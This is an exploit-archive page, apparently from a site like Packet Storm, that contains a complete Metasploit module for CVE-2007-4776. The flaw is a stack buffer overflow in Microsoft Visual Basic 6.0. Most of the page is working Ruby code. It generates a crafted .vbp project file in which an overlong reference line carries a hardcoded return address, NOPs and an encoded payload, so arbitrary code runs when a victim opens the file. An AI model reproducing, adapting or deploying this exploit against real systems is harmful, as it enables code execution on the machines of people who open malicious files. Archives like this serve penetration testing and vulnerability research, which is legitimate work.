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Microsoft Visual Basic VBP Buffer Overflow

Microsoft Visual Basic VBP Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack oveflow in Microsoft Visual Basic 6.0. When a specially crafted vbp file containing a long reference line, an attacker may be able to execute arbitrary code.

tags | exploit, arbitrary
advisories | CVE-2007-4776
SHA-256 | 6e374c5188f5608083cbab9fb2401659c976e19fb28d2bb839bd2373dbb1a54e

Microsoft Visual Basic VBP Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
'Description' => %q{
This module exploits a stack oveflow in Microsoft Visual
Basic 6.0. When a specially crafted vbp file containing a long
reference line, an attacker may be able to execute arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2007-4776' ],
[ 'BID', '25629' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2007',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']),
], self.class)

end

def exploit

sploit = rand_text_alpha_upper(496) + [target.ret].pack('V')
sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
sploit << make_nops(24) + payload.encoded

vbp = "Type=Exe\r\n"
vbp << "Form=Form2.frm\r\n"
vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
vbp << sploit + "\r\n"
vbp << "Startup=\"Form2\"\r\n"
vbp << "Command32=\"\"\r\n"
vbp << "Name=\"Project2\"\r\n"
vbp << "HelpContextID=\"0\"\r\n"
vbp << "CompatibleMode=\"0\"\r\n"
vbp << "MajorVer=1\r\n"
vbp << "MinorVer=0\r\n"
vbp << "RevisionVer=0\r\n"
vbp << "AutoIncrementVer=0\r\n"
vbp << "ServerSupportFiles=0\r\n"
vbp << "VersionCompanyName=\"\"\r\n"
vbp << "CompilationType=0\r\n"
vbp << "OptimizationType=0\r\n"
vbp << "FavorPentiumPro(tm)=0\r\n"
vbp << "CodeViewDebugInfo=0\r\n"
vbp << "NoAliasing=0\r\n"
vbp << "BoundsCheck=0\r\n"
vbp << "OverflowCheck=0\r\n"
vbp << "FlPointCheck=0\r\n"
vbp << "FDIVCheck=0\r\n"
vbp << "UnroundedFP=0\r\n"
vbp << "StartMode=0\r\n"
vbp << "Unattended=0\r\n"
vbp << "Retained=0\r\n"
vbp << "ThreadPerObject=0\r\n"
vbp << "MaxNumberOfThreads=1\r\n"
vbp << "[MS Transaction Server]\r\n"
vbp << "AutoRefresh=1\r\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(vbp)

end

end
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